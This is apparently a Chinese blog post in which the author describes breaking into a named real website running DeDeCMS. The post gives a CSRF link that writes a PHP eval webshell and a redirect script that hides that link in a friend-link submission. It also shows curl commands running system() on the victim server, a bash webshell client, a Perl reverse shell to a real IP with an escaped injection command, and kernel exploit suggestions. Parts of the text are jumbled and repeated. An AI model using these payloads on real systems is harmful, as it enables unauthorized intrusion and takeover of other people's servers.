1.首先是得到了网站的管理员的账户密码登录：

www.gzjftj.com/bradmin/login.php 账户密码在文档中。。。。。

在前台有个提交友情链接的地方，在模块的友情链接里，估计以前可能这里存在xss的吧。反正现在是修复了，不过发现传入的链接，在后台可以直接打开，这样就可以结合csrf进一步利用了
Exploit_friend_link.png

2.下面看具体操作

dedecms好多地方都是用requests获取的值，不区分get、post，原来是post的，如果post在这肯定构造不成功，get的话，就可以借助csrf（Cross-site request forgery）跨站请求伪造，也被称为“One Click Attack”或者Session Riding，通常缩写为CSRF或者XSR，一起getshell了。

csrf 诱导 exp链接：./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?php @eval($_POST[‘c’]);?>&filename=shell.lib.php  #在当前路径执行这个get请求，写入一句话。
Exploit_friend_link.png
这里就看怎么诱导管理员点击了，一般人看不懂代码，如果点击了，会在 /include/taglib/ 目录下生成一句话 shell.lib.php，但是在服务器中代理多个网站，所在目录就变成了/ysinc/taglib，有句话说好奇害死猫，确实是，天上那有掉馅饼的事，别贪便宜，不然容易出事。

就在最后要成功getshell的时候，发生了意外，发现网站名称的href字典限制了长度，把传入的./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?php @eval($_POST[‘c’]);?>&filename=hcaker.lib.php截断为./tpl.php?action=savetagfile&actiondo=addnewtag&content=<?ph，并没有过滤，看来是限制了字符个数、还是不放弃，产生了另一种好玩的想法，感觉要比这个好玩。

一般后台审核友情链接的人都会看下网站权重，然后决定是否通过审核，这一看就会触发漏洞了。通过分析，需要填一个真实的url，而这个url要获取到referer，然后拼接url重定向，这样就可以实现getshell了，而且还可以在后端做个邮件提醒。方便知道那个站已经getshell了。

然后开始写代码了，这里费了不少时间，主要是一个问题，把代码解析为字符串，用php试过转义、字符串转化等都不成功，最后用序列化函数成功了，但是不完整，程序员的做法应该是序列化和反序列化吧，然后我使用单个字符拼接，解决了问题，其实还可以用ascii码去搞定、原来那些写各种一句话的真不容易，要对语言的任何地方都要了解，不然遇到很多未知的问题。

然后php做CSRF中转的代码如下：

  • <?php

  • //print_r($_SERVER);

  • $referer = $_SERVER['HTTP_REFERER'];

  • $dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php，取得dede后台的路径

  • //拼接 exp

  • $muma = '<'.'?'.'p'.'h'.'p'.' '.'@'.'e'.'v'.'a'.'l'.'('.'

然后就重新开始咯，在友情链接里面添加exp友情链接：http://invisiblegg.tpddns.cn:1024/vip_video/exp.php
Exploit_friend_link.png
然后点击连接之后会在/ysinc/taglib创建shell.lib.php，其目录为/ysinc/taglib/shell.lib.php。
Exploit_update_exp_file.png
Exploit_exp_file_result.png
直接在本地上POST请求搞定：

  • ┌─[invisible@parrot]─[~]

  • └──╼ $curl -d 'c=system("uname -a",$result);echo $result;' http://www.gzjftj.com/ysinc/taglib/shell.lib.php

  • Linux iZ62s8ctoe0Z 2.6.32-573.18.1.el6.x86_64 #1 SMP Tue Feb 9 22:46:17 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

  • 0┌─[invisible@parrot]─[~]

  • └──╼ $

查看ip之后发现是阿里云的服务器。。。。。。。。。

或者直接新建一个html文本：

  • <html> 

  • <body> 

  • <form action="http://www.gzjftj.com/ysinc/taglib/shell.lib.php" method="POST"> 

  • <input type="text" name="c" value="phpinfo();"> 

  • <input type="submit" value="submit"> 

  • </form> 

  • </body> 

  • </html>

Exploit_test_html.png
Exploit_getshell.png

3.顺便加一个连接一句话木马的小脚本（感觉网页有点麻烦）

  • #!/bin/bash

  • 

  • while true

  • do

  •  read -p "[webshell@web]#" commend

  •  if [[ "$commend" == "exit" ]];

  •  then

  •  exit 1

  •  else

  •  #echo 'a=system("'$commend'",$result);echo $result;'

  •  curl -d 'c=system("'$commend'",$result);echo $result;' http://www.gzjftj.com/ysinc/taglib/shell.lib.php

  •  fi

  • done

  • ┌─[✗]─[invisible@parrot]─[~/Document/test]

  • └──╼ $./shell.sh 

  • [webshell@web]#pwd

  • /home/wwwroot/gzjftj_com/public_html/ysinc/taglib

  • 0[webshell@web]#exit

  • ┌─[✗]─[invisible@parrot]─[~/Document/test]

  • └──╼ $

还有就是提取了，有点费劲，过两天继续。。。。。。。

后期续集：利用perl反弹www用户的shell

1.首先确定在/tmp中可建立可读可写可执行的文件

  • ┌─[invisible@parrot]─[~]

  • └──╼ $curl -d 'c=system("touch /tmp/pcre_update.pl",$result);echo $result;' http://www.gzjftj.com/ysinc/taglib/shell.lib.php

  • 0┌─[invisible@parrot]─[~]

  • └──╼ $curl -d 'c=system("chmod 777 /tmp/pcre_update.pl",$result);echo $result;' http://www.gzjftj.com/ysinc/taglib/shell.lib.php

  • 0┌─[invisible@parrot]─[~]

  • └──╼ $curl -d 'c=system("ls -al /tmp",$result);echo $result;' http://www.gzjftj.com/ysinc/taglib/shell.lib.php

  • total 232

  • drwxrwxrwt.  3 root  root  217088 Jul 23 18:45 .

  • dr-xr-xr-x. 23 root  root    4096 Feb 26  2016 ..

  • drwxrwxrwt   2 root  root    4096 Feb 26  2016 .ICE-unix

  • srwxr-xr-x   1 root  root       0 Jun 29 17:49 Aegis-<Guid(5A2C30A2-A87D-490A-9281-6765EDAD7CBA)>

  • srwxrwxrwx   1 mysql mysql      0 Dec  6  2016 mysql.sock

  • -rw-r--r--   1 root  root     552 Dec 10  2012 pcre_ins.sh

  • -rwxrwxrwx   1 www   www       31 Jul 23 17:29 pcre_rm.sh

  • -rwxrwxrwx   1 www   www        0 Jul 23 18:45 pcre_update.pl

  • srwxrwxrwx   1 root  root       0 Jul 22  2016 qtsingleapp-aegisG-46d2

  • srwxr-x---   1 root  root       0 Jan 21  2016 qtsingleapp-aegisG-46d2-0

  • srwxrwxrwx   1 root  root       0 Feb 26  2016 qtsingleapp-aegiss-a5d2

  • srwxrwxrwx   1 root  root       0 Jan 21  2016 qtsingleapp-aegiss-a5d2-0

2.在pcre_update.pl中写入反弹代码：

  • #!/usr/bin/perl

  • use Socket;

  • $i="222.161.31.54";

  • $p=32145;

  • socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));

  • if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");

  • open(STDOUT,">&S");

  • open(STDERR,">&S");

  • exec("/bin/sh -i");};

但是在命令行下直接插入的话会出现问题，得将特殊符号根据ascii表变换一下：

  • curl -d 'c=system("echo -e \"use Socket;\\0044i=\\0042222.161.31.54\\0042;\\0044p=32145;socket\\0050S,PF_INET,SOCK_STREAM,getprotobyname\\0050\\0042tcp\\0042\\0051\\0051;if\\0050connect\\0050S,sockaddr_in\\0050\\0044p,inet_aton\\0050\\0044i\\0051\\0051\\0051\\0051\\0173open\\0050STDIN,\\0042\\0076\\0046S\\0042\\0051\\0073open\\0050STDOUT,\\0042\\0076\\0046S\\0042\\0051\\0073open\\0050STDERR,\\0042\\0076\\0046S\\0042\\0051\\0073exec\\0050\\0042/bin/sh -i\\0042\\0051\\0073\\0175\\0073;\" > /tmp/pcre_update.pl",$result);echo $result;' http://www.gzjftj.com/ysinc/taglib/shell.lib.php

变换之后可写入pcre_update.pl文件中

  • ┌─[✗]─[invisible@parrot]─[~]

  • └──╼ $curl -d 'c=system("cat /tmp/pcre_update.pl",$result);echo $result;' http://www.gzjftj.com/ysinc/taglib/shell.lib.php

  • use Socket;$i="222.161.31.54";$p=32145;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};;

服务器nc监听

  • nc -vv -l -p 32145

执行文件反弹shell

  • ┌─[✗]─[invisible@parrot]─[~]

  • └──╼ $curl -d 'c=system("perl /tmp/pcre_update.pl",$result);echo $result;' http://www.gzjftj.com/ysinc/taglib/shell.lib.php

再就是提权了，之后慢慢来。。。。。。

在得到shell的基础上提权，这才发现提权也挺麻烦的，主要是在exploit_db网站的提权代码编译时都出错呢。。。。

想看看适合哪些提权代码吧：

  • sh-4.1$ ./Linux_Exploit_Suggester.pl uname -r

  • ./Linux_Exploit_Suggester.pl uname -r

  • 

  • Kernel local: 2.6.32

  • 

  • Searching among 65 exploits...

  • 

  • Possible Exploits:

  • [+] american-sign-language

  •    CVE-2010-4347

  •    Source: http://www.securityfocus.com/bid/45408/

  • [+] can_bcm

  •    CVE-2010-2959

  •    Source: http://www.exploit-db.com/exploits/14814/

  • [+] half_nelson

  •    Alt: econet    CVE-2010-3848

  •    Source: http://www.exploit-db.com/exploits/6851

  • [+] half_nelson1

  •    Alt: econet    CVE-2010-3848

  •    Source: http://www.exploit-db.com/exploits/17787/

  • [+] half_nelson2

  •    Alt: econet    CVE-2010-3850

  •    Source: http://www.exploit-db.com/exploits/17787/

  • [+] half_nelson3

  •    Alt: econet    CVE-2010-4073

  •    Source: http://www.exploit-db.com/exploits/17787/

  • [+] msr

  •    CVE-2013-0268

  •    Source: http://www.exploit-db.com/exploits/27297/

  • [+] pktcdvd

  •    CVE-2010-3437

  •    Source: http://www.exploit-db.com/exploits/15150/

  • [+] ptrace_kmod2

  •    Alt: ia32syscall,robert_you_suck    CVE-2010-3301

  •    Source: http://www.exploit-db.com/exploits/15023/

  • [+] rawmodePTY

  •    CVE-2014-0196

  •    Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c

  • [+] rds

  •    CVE-2010-3904

  •    Source: http://www.exploit-db.com/exploits/15285/

  • [+] reiserfs

  •    CVE-2010-1146

  •    Source: http://www.exploit-db.com/exploits/12130/

  • [+] video4linux

  •    CVE-2010-3081

  •    Source: http://www.exploit-db.com/exploits/15024/

  • 

  • 

  • 

  • 

  • 

  • .'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>'; $exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php'; $url = $dede_login.$exp; //echo $url; header("location: ".$url); // send mail coder exit(); ?>

然后就重新开始咯，在友情链接里面添加exp友情链接：http://invisiblegg.tpddns.cn:1024/vip_video/exp.php

然后点击连接之后会在/ysinc/taglib创建shell.lib.php，其目录为/ysinc/taglib/shell.lib.php。

直接在本地上POST请求搞定：

查看ip之后发现是阿里云的服务器。。。。。。。。。

或者直接新建一个html文本：

3.顺便加一个连接一句话木马的小脚本（感觉网页有点麻烦）

还有就是提取了，有点费劲，过两天继续。。。。。。。

后期续集：利用perl反弹www用户的shell

1.首先确定在/tmp中可建立可读可写可执行的文件

2.在pcre_update.pl中写入反弹代码：

但是在命令行下直接插入的话会出现问题，得将特殊符号根据ascii表变换一下：

变换之后可写入pcre_update.pl文件中

服务器nc监听

执行文件反弹shell

再就是提权了，之后慢慢来。。。。。。

在得到shell的基础上提权，这才发现提权也挺麻烦的，主要是在exploit_db网站的提权代码编译时都出错呢。。。。

想看看适合哪些提权代码吧：


本文由 管理员 创作，采用 知识共享署名 3.0，可自由转载、引用，但需署名作者且注明文章出处。

只有地板了

  1. ejlblegxwn
    ejlblegxwn

    若能补充常见问题解答，会更具实用性。

    回复

添加新评论